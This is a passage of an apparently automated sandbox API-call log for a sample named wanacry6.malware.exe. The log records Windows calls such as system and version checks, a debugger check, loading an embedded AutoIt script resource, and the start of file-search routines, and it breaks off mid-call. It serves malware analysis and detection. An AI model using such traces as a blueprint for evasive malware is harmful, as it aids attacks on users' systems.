!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0xa96accfa20, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0042.389] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff756b8a98c) returned 0x0 [0042.390] GetVersionExW (in: lpVersionInformation=0xa96accfc80*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x2140214, dwMinorVersion=0x3120210, dwBuildNumber=0x2100210, dwPlatformId=0x2140210, szCSDVersion="̒ȐȐȐȐȐ́́́́́́́́́́́́́́́́́́́́́́́Ȑ́́́́騧Ⲹ翾") | out: lpVersionInformation=0xa96accfc80*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x3, dwBuildNumber=0x2580, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0042.390] GetCurrentProcess () returned 0xffffffffffffffff [0042.390] IsWow64Process (in: hProcess=0xffffffffffffffff, Wow64Process=0xa96accfdc8 | out: Wow64Process=0xa96accfdc8) returned 1 [0042.390] GetSystemInfo (in: lpSystemInfo=0xa96accfc48 | out: lpSystemInfo=0xa96accfc48*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0042.391] MapVirtualKeyW (uCode=0x5b, uMapType=0x0) returned 0x5b [0042.391] MapVirtualKeyW (uCode=0x10, uMapType=0x0) returned 0x2a [0042.391] MapVirtualKeyW (uCode=0xa0, uMapType=0x0) returned 0x2a [0042.391] MapVirtualKeyW (uCode=0xa1, uMapType=0x0) returned 0x36 [0042.391] MapVirtualKeyW (uCode=0x11, uMapType=0x0) returned 0x1d [0042.391] MapVirtualKeyW (uCode=0x12, uMapType=0x0) returned 0x38 [0042.391] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc14a [0042.392] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0042.392] OleInitialize (pvReserved=0x0) returned 0x0 [0042.415] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Control Panel\\Mouse", ulOptions=0x0, samDesired=0x1, phkResult=0xa96accfd60 | out: phkResult=0xa96accfd60*=0x14c) returned 0x0 [0042.415] RegQueryValueExW (in: hKey=0x14c, lpValueName="SwapMouseButtons", lpReserved=0x0, lpType=0x0, lpData=0xa96accfdc0, lpcbData=0xa96accfd90*=0x8 | out: lpType=0x0, lpData=0xa96accfdc0*=0x30, lpcbData=0xa96accfd90*=0x4) returned 0x0 [0042.415] RegCloseKey (hKey=0x14c) returned 0x0 [0042.417] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xa96acafd30, nSize=0x7fff | out: lpFilename="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" (normalized: "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe")) returned 0x26 [0042.418] GetFullPathNameW (in: lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", nBufferLength=0x7fff, lpBuffer=0xa96ac9fce0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpFilePart=0x0) returned 0x26 [0042.418] GetFullPathNameW (in: lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", nBufferLength=0x7fff, lpBuffer=0xa96acafd30, lpFilePart=0xa96acbfd40 | out: lpBuffer="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpFilePart=0xa96acbfd40*="WANACR~1.EXE") returned 0x26 [0042.418] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\AutoIt v3\\AutoIt", ulOptions=0x0, samDesired=0x1, phkResult=0xa96accfdf0 | out: phkResult=0xa96accfdf0*=0x0) returned 0x2 [0042.418] IsThemeActive () returned 0x1 [0042.419] SystemParametersInfoW (in: uiAction=0x2000, uiParam=0x0, pvParam=0xa96accfe20, fWinIni=0x0 | out: pvParam=0xa96accfe20) returned 1 [0042.419] SystemParametersInfoW (in: uiAction=0x2001, uiParam=0x0, pvParam=0x0, fWinIni=0x2 | out: pvParam=0x0) returned 1 [0042.419] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0xa96acafdf0 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0042.419] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xa96ac9fc50, nSize=0x7fff | out: lpFilename="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" (normalized: "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe")) returned 0x26 [0042.420] GetFullPathNameW (in: lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", nBufferLength=0x7fff, lpBuffer=0xa96ac8fc00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpFilePart=0x0) returned 0x26 [0042.420] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0042.420] GetProcAddress (hModule=0x7ffe2a640000, lpProcName=0x7ff756c1b2d0) returned 0x7ffe2a71dbbc [0042.420] Wow64DisableWow64FsRedirection (in: OldValue=0xa96acafc60 | out: OldValue=0xa96acafc60*=0x0) returned 0 [0042.420] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0042.420] GetCurrentPackageId () returned 0x3d54 [0042.420] CreateFileW (lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" (normalized: "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xa96acafa30, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0042.420] GetFileType (hFile=0x14c) returned 0x1 [0042.421] LoadLibraryExW (lpLibFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", hFile=0x0, dwFlags=0x2) returned 0x7ff756b50000 [0042.421] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0042.421] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x7ffe2a71dbcc [0042.421] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 0 [0042.421] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0042.421] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xa96acafd28 | out: ppstm=0xa96acafd28*=0xa96ad769f0) returned 0x0 [0042.425] FindResourceExW (hModule=0x7ff756b50000, lpType=0xa, lpName="SCRIPT", wLanguage=0x0) returned 0x7ff756c3d3d8 [0042.425] LoadResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x7ff756c4e394 [0042.425] SizeofResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x9604 [0042.425] LockResource (hResData=0x7ff756c4e394) returned 0x7ff756c4e394 [0042.425] ISequentialStream:RemoteWrite (in: This=0xa96ad769f0, pv=0x7ff756c4e394*=0xa3, cb=0x9604, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0042.426] IStream:RemoteSeek (in: This=0xa96ad769f0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0042.426] IStream:RemoteSeek (in: This=0xa96ad769f0, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0xa96acafbf8 | out: plibNewPosition=0xa96acafbf8) returned 0x0 [0042.426] ISequentialStream:RemoteRead (in: This=0xa96ad769f0, pv=0xa96ad80a30, cb=0x18, pcbRead=0xa96acafb40 | out: pv=0xa96ad80a30*=0xa3, pcbRead=0xa96acafb40*=0x18) returned 0x0 [0042.426] IStream:RemoteSeek (in: This=0xa96ad769f0, dlibMove=0x14, dwOrigin=0x0, plibNewPosition=0xa96acafb40 | out: plibNewPosition=0xa96acafb40) returned 0x0 [0042.426] ISequentialStream:RemoteRead (in: This=0xa96ad769f0, pv=0xa96acafbe0, cb=0x4, pcbRead=0xa96acafb40 | out: pv=0xa96acafbe0*=0x45, pcbRead=0xa96acafb40*=0x4) returned 0x0 [0042.426] ISequentialStream:RemoteRead (in: This=0xa96ad769f0, pv=0xa96acafc10, cb=0x10, pcbRead=0xa96acafbe0 | out: pv=0xa96acafc10*=0x4d, pcbRead=0xa96acafbe0*=0x10) returned 0x0 [0042.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xa96acafaa0 | out: lpSystemTimeAsFileTime=0xa96acafaa0*(dwLowDateTime=0x4d093bd3, dwHighDateTime=0x1d31057)) [0042.426] IStream:RemoteSeek (in: This=0xa96ad769f0, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0xa96acafc78 | out: plibNewPosition=0xa96acafc78) returned 0x0 [0042.426] IStream:RemoteSeek (in: This=0xa96ad769f0, dlibMove=0x28, dwOrigin=0x0, plibNewPosition=0xa96acaf550 | out: plibNewPosition=0xa96acaf550) returned 0x0 [0042.426] ISequentialStream:RemoteRead (in: This=0xa96ad769f0, pv=0xa96acaf300, cb=0x4, pcbRead=0xa96acaf2d0 | out: pv=0xa96acaf300*=0x6b, pcbRead=0xa96acaf2d0*=0x4) returned 0x0 [0042.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xa96acaf190 | out: lpSystemTimeAsFileTime=0xa96acaf190*(dwLowDateTime=0x4d093bd3, dwHighDateTime=0x1d31057)) [0042.426] ISequentialStream:RemoteRead (in: This=0xa96ad769f0, pv=0xa96acaf568, cb=0x4, pcbRead=0xa96acaf2d0 | out: pv=0xa96acaf568*=0xa6, pcbRead=0xa96acaf2d0*=0x4) returned 0x0 [0042.426] ISequentialStream:RemoteRead (in: This=0xa96ad769f0, pv=0xa96acaf310, cb=0x34, pcbRead=0xa96acaf2d0 | out: pv=0xa96acaf310*=0xe1, pcbRead=0xa96acaf2d0*=0x34) returned 0x0 [0042.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xa96acaf190 | out: lpSystemTimeAsFileTime=0xa96acaf190*(dwLowDateTime=0x4d093bd3, dwHighDateTime=0x1d31057)) [0042.426] ISequentialStream:RemoteRead (in: This=0xa96ad769f0, pv=0xa96acaf568, cb=0x4, pcbRead=0xa96acaf2d0 | out: pv=0xa96acaf568*=0x43, pcbRead=0xa96acaf2d0*=0x4) returned 0x0 [0042.426] ISequentialStream:RemoteRead (in: This=0xa96ad769f0, pv=0xa96acafa20, cb=0xc6, pcbRead=0xa96acaf2d0 | out: pv=0xa96acafa20*=0xcd, pcbRead=0xa96acaf2d0*=0xc6) returned 0x0 [0042.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xa96acaf190 | out: lpSystemTimeAsFileTime=0xa96acaf190*(dwLowDateTime=0x4d093bd3, dwHighDateTime=0x1d31057)) [0042.426] ISequentialStream:RemoteRead (in: This=0xa96ad769f0, pv=0xa96acafc60, cb=0x1, pcbRead=0xa96acaf550 | out: pv=0xa96acafc60*=0x0, pcbRead=0xa96acaf550*=0x1) returned 0x0 [0042.426] ISequentialStream:RemoteRead (in: This=0xa96ad769f0, pv=0xa96acaf580, cb=0x4, pcbRead=0xa96acaf550 | out: pv=0xa96acaf580*=0xbc, pcbRead=0xa96acaf550*=0x4) returned 0x0 [0042.426] ISequentialStream:RemoteRead (in: This=0xa96ad769f0, pv=0xa96acaf580, cb=0x4, pcbRead=0xa96acaf550 | out: pv=0xa96acaf580*=0xbc, pcbRead=0xa96acaf550*=0x4) returned 0x0 [0042.426] ISequentialStream:RemoteRead (in: This=0xa96ad769f0, pv=0xa96acaf580, cb=0x4, pcbRead=0xa96acaf550 | out: pv=0xa96acaf580*=0x84, pcbRead=0xa96acaf550*=0x4) returned 0x0 [0042.427] IStream:RemoteSeek (in: This=0xa96ad769f0, dlibMove=0x10, dwOrigin=0x1, plibNewPosition=0xa96acaf550 | out: plibNewPosition=0xa96acaf550) returned 0x0 [0042.427] ISequentialStream:RemoteRead (in: This=0xa96ad769f0, pv=0xa96ad80550, cb=0x0, pcbRead=0xa96acaf550 | out: pv=0xa96ad80550*=0x0, pcbRead=0xa96acaf550*=0x0) returned 0x0 [0042.427] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xa96acaf410 | out: lpSystemTimeAsFileTime=0xa96acaf410*(dwLowDateTime=0x4d093bd3, dwHighDateTime=0x1d31057)) [0042.427] CloseHandle (hObject=0x14c) returned 1 [0042.427] IUnknown:Release (This=0xa96ad769f0) returned 0x0 [0042.427] FreeLibrary (hLibModule=0x7ff756b50000) returned 1 [0042.428] IsDebuggerPresent () returned 0 [0042.428] GetFullPathNameW (in: lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", nBufferLength=0x7fff, lpBuffer=0xa96ac8fca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpFilePart=0x0) returned 0x26 [0042.428] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpszLongPath=0xa96ac8fca0, cchBuffer=0x7fff | out: lpszLongPath="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe") returned 0x31 [0042.430] GetFullPathNameW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", nBufferLength=0x7fff, lpBuffer=0xa96ac8fc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", lpFilePart=0x0) returned 0x31 [0042.430] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0042.431] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7ffe2a71dbbc [0042.431] Wow64DisableWow64FsRedirection (in: OldValue=0xa96ac9fbd0 | out: OldValue=0xa96ac9fbd0*=0x0) returned 0 [0042.431] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0042.431] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\wanacry6.malware.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xa96ac9f9a0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0042.431] GetFileType (hFile=0x14c) returned 0x1 [0042.431] LoadLibraryExW (lpLibFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", hFile=0x0, dwFlags=0x2) returned 0x7ff756b50000 [0042.432] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0042.432] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x7ffe2a71dbcc [0042.432] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 0 [0042.432] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0042.432] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xa96ac9fc50 | out: ppstm=0xa96ac9fc50*=0xa96ad767b0) returned 0x0 [0042.432] FindResourceExW (hModule=0x7ff756b50000, lpType=0xa, lpName="SCRIPT", wLanguage=0x0) returned 0x7ff756c3d3d8 [0042.432] LoadResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x7ff756c4e394 [0042.432] SizeofResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x9604 [0042.432] LockResource (hResData=0x7ff756c4e394) returned 0x7ff756c4e394 [0042.432] ISequentialStream:RemoteWrite (in: This=0xa96ad767b0, pv=0x7ff756c4e394*=0xa3, cb=0x9604, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0042.432] IStream:RemoteSeek (in: This=0xa96ad767b0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0042.432] IStream:RemoteSeek (in: This=0xa96ad767b0, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0xa96ac9fb68 | out: plibNewPosition=0xa96ac9fb68) returned 0x0 [0042.432] ISequentialStream:RemoteRead (in: This=0xa96ad767b0, pv=0xa96ad80ce0, cb=0x18, pcbRead=0xa96ac9fab0 | out: pv=0xa96ad80ce0*=0xa3, pcbRead=0xa96ac9fab0*=0x18) returned 0x0 [0042.432] IStream:RemoteSeek (in: This=0xa96ad767b0, dlibMove=0x14, dwOrigin=0x0, plibNewPosition=0xa96ac9fab0 | out: plibNewPosition=0xa96ac9fab0) returned 0x0 [0042.432] ISequentialStream:RemoteRead (in: This=0xa96ad767b0, pv=0xa96ac9fb50, cb=0x4, pcbRead=0xa96ac9fab0 | out: pv=0xa96ac9fb50*=0x45, pcbRead=0xa96ac9fab0*=0x4) returned 0x0 [0042.432] ISequentialStream:RemoteRead (in: This=0xa96ad767b0, pv=0xa96ac9fb80, cb=0x10, pcbRead=0xa96ac9fb50 | out: pv=0xa96ac9fb80*=0x4d, pcbRead=0xa96ac9fb50*=0x10) returned 0x0 [0042.432] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xa96ac9fa10 | out: lpSystemTimeAsFileTime=0xa96ac9fa10*(dwLowDateTime=0x4d0c3f05, dwHighDateTime=0x1d31057)) [0042.432] IStream:RemoteSeek (in: This=0xa96ad767b0, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0xa96ac9fbe8 | out: plibNewPosition=0xa96ac9fbe8) returned 0x0 [0042.432] IStream:RemoteSeek (in: This=0xa96ad767b0, dlibMove=0x28, dwOrigin=0x0, plibNewPosition=0xa96ac9f4c0 | out: plibNewPosition=0xa96ac9f4c0) returned 0x0 [0042.433] ISequentialStream:RemoteRead (in: This=0xa96ad767b0, pv=0xa96ac9f270, cb=0x4, pcbRead=0xa96ac9f240 | out: pv=0xa96ac9f270*=0x6b, pcbRead=0xa96ac9f240*=0x4) returned 0x0 [0042.433] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xa96ac9f100 | out: lpSystemTimeAsFileTime=0xa96ac9f100*(dwLowDateTime=0x4d0c3f05, dwHighDateTime=0x1d31057)) [0042.433] ISequentialStream:RemoteRead (in: This=0xa96ad767b0, pv=0xa96ac9f4d8, cb=0x4, pcbRead=0xa96ac9f240 | out: pv=0xa96ac9f4d8*=0xa6, pcbRead=0xa96ac9f240*=0x4) returned 0x0 [0042.433] ISequentialStream:RemoteRead (in: This=0xa96ad767b0, pv=0xa96ac9f280, cb=0x34, pcbRead=0xa96ac9f240 | out: pv=0xa96ac9f280*=0xe1, pcbRead=0xa96ac9f240*=0x34) returned 0x0 [0042.433] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xa96ac9f100 | out: lpSystemTimeAsFileTime=0xa96ac9f100*(dwLowDateTime=0x4d0c3f05, dwHighDateTime=0x1d31057)) [0042.433] ISequentialStream:RemoteRead (in: This=0xa96ad767b0, pv=0xa96ac9f4d8, cb=0x4, pcbRead=0xa96ac9f240 | out: pv=0xa96ac9f4d8*=0x43, pcbRead=0xa96ac9f240*=0x4) returned 0x0 [0042.433] ISequentialStream:RemoteRead (in: This=0xa96ad767b0, pv=0xa96ac9f990, cb=0xc6, pcbRead=0xa96ac9f240 | out: pv=0xa96ac9f990*=0xcd, pcbRead=0xa96ac9f240*=0xc6) returned 0x0 [0042.433] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xa96ac9f100 | out: lpSystemTimeAsFileTime=0xa96ac9f100*(dwLowDateTime=0x4d0c3f05, dwHighDateTime=0x1d31057)) [0042.433] IStream:RemoteSeek (in: This=0xa96ad767b0, dlibMove=0x1, dwOrigin=0x1, plibNewPosition=0xa96ac9f240 | out: plibNewPosition=0xa96ac9f240) returned 0x0 [0042.433] ISequentialStream:RemoteRead (in: This=0xa96ad767b0, pv=0xa96ac9f278, cb=0x4, pcbRead=0xa96ac9f240 | out: pv=0xa96ac9f278*=0xbc, pcbRead=0xa96ac9f240*=0x4) returned 0x0 [0042.433] IStream:RemoteSeek (in: This=0xa96ad767b0, dlibMove=0x18, dwOrigin=0x1, plibNewPosition=0xa96ac9f240 | out: plibNewPosition=0xa96ac9f240) returned 0x0 [0042.433] ISequentialStream:RemoteRead (in: This=0xa96ad767b0, pv=0xa96ac9f270, cb=0x4, pcbRead=0xa96ac9f240 | out: pv=0xa96ac9f270*=0x6b, pcbRead=0xa96ac9f240*=0x4) returned 0x0 [0042.433] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xa96ac9f100 | out: lpSystemTimeAsFileTime=0xa96ac9f100*(dwLowDateTime=0x4d0c3f05, dwHighDateTime=0x1d31057)) [0042.433] ISequentialStream:RemoteRead (in: This=0xa96ad767b0, pv=0xa96ac9f4d8, cb=0x4, pcbRead=0xa96ac9f240 | out: pv=0xa96ac9f4d8*=0xaf, pcbRead=0xa96ac9f240*=0x4) returned 0x0 [0042.433] ISequentialStream:RemoteRead (in: This=0xa96ad767b0, pv=0xa96ac9f280, cb=0x26, pcbRead=0xa96ac9f240 | out: pv=0xa96ac9f280*=0xe6, pcbRead=0xa96ac9f240*=0x26) returned 0x0 [0042.433] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xa96ac9f100 | out: lpSystemTimeAsFileTime=0xa96ac9f100*(dwLowDateTime=0x4d0c3f05, dwHighDateTime=0x1d31057)) [0042.433] ISequentialStream:RemoteRead (in: This=0xa96ad767b0, pv=0xa96ac9f4d8, cb=0x4, pcbRead=0xa96ac9f240 | out: pv=0xa96ac9f4d8*=0x47, pcbRead=0xa96ac9f240*=0x4) returned 0x0 [0042.433] ISequentialStream:RemoteRead (in: This=0xa96ad767b0, pv=0xa96ac9f990, cb=0xce, pcbRead=0xa96ac9f240 | out: pv=0xa96ac9f990*=0xbf, pcbRead=0xa96ac9f240*=0xce) returned 0x0 [0042.433] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xa96ac9f100 | out: lpSystemTimeAsFileTime=0xa96ac9f100*(dwLowDateTime=0x4d0c3f05, dwHighDateTime=0x1d31057)) [0042.433] ISequentialStream:RemoteRead (in: This=0xa96ad767b0, pv=0xa96ac9fbd0, cb=0x1, pcbRead=0xa96ac9f4c0 | out: pv=0xa96ac9fbd0*=0x1, pcbRead=0xa96ac9f4c0*=0x1) returned 0x0 [0042.433] ISequentialStream:RemoteRead (in: This=0xa96ad767b0, pv=0xa96ac9f4f0, cb=0x4, pcbRead=0xa96ac9f4c0 | out: pv=0xa96ac9f4f0*=0x28, pcbRead=0xa96ac9f4c0*=0x4) returned 0x0 [0042.433] ISequentialStream:RemoteRead (in: This=0xa96ad767b0, pv=0xa96ac9f4f0, cb=0x4, pcbRead=0xa96ac9f4c0 | out: pv=0xa96ac9f4f0*=0x23, pcbRead=0xa96ac9f4c0*=0x4) returned 0x0 [0042.433] ISequentialStream:RemoteRead (in: This=0xa96ad767b0, pv=0xa96ac9f4f0, cb=0x4, pcbRead=0xa96ac9f4c0 | out: pv=0xa96ac9f4f0*=0xf4, pcbRead=0xa96ac9f4c0*=0x4) returned 0x0 [0042.433] IStream:RemoteSeek (in: This=0xa96ad767b0, dlibMove=0x10, dwOrigin=0x1, plibNewPosition=0xa96ac9f4c0 | out: plibNewPosition=0xa96ac9f4c0) returned 0x0 [0042.433] ISequentialStream:RemoteRead (in: This=0xa96ad767b0, pv=0xa96ad80ce0, cb=0x9394, pcbRead=0xa96ac9f4c0 | out: pv=0xa96ad80ce0*=0x6d, pcbRead=0xa96ac9f4c0*=0x9394) returned 0x0 [0042.434] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xa96ac9f380 | out: lpSystemTimeAsFileTime=0xa96ac9f380*(dwLowDateTime=0x4d0c657c, dwHighDateTime=0x1d31057)) [0042.463] IUnknown:Release (This=0xa96ad767b0) returned 0x0 [0042.463] FreeLibrary (hLibModule=0x7ff756b50000) returned 1 [0042.464] CharUpperBuffW (in: lpsz="_FO_FILESEARCH", cchLength=0xe | out: lpsz="_FO_FILESEARCH") returned 0xe [0042.464] CharUpperBuffW (in: lpsz="_FO_FOLDERSEARCH", cchLength=0x10 | out: lpsz="_FO_FOLDERSEARCH") returned 0x10 [0042.464] CharUpperBuffW (in: lpsz="_FO_FOLDERSEARCH", cchLength=0x10 | out: lpsz="_FO_FOLDERSEARCH") returned 0x10 [0042.464] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCHMASK", cchLength=0x15 | out: lpsz="__FO_FOLDERSEARCHMASK") returned 0x15 [0042.464] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCHMASK", cchLength=0x15 | out: lpsz="__FO_FOLDERSEARCHMASK") returned 0x15 [0042.464] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCH", cchLength=0x11 | out: lpsz="__FO_FOLDERSEARCH") returned 0x11 [0042.464] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCH", cchLength=0x11 | out: lpsz="__FO_FOLDERSEARCH") returned 0x11 [0042.464] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0042.464] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0042.464] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0042.464] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0042.464] CharUpperBuffW (in: lpsz="__FO_GETLISTMASK", cchLength=0x10 | out: lpsz="__FO_GETLISTMASK") returned 0x10 [0042.464] CharUpperBuffW (in: lpsz="__FO_GETLISTMASK", cchLength=0x10 | out: lpsz="__FO_GETLISTMASK") returned 0x10 [0042.464] CharUpperBuffW (in: lpsz="__FO_FILESEARCHTYPE", cchLength=0x13 | out: lpsz="__FO_FILESEARCHTYPE") returned 0x13 [0042.464] CharUpperBuffW (in: lpsz="__FO_FILESEARCHTYPE", cchLength=0x13 | out: 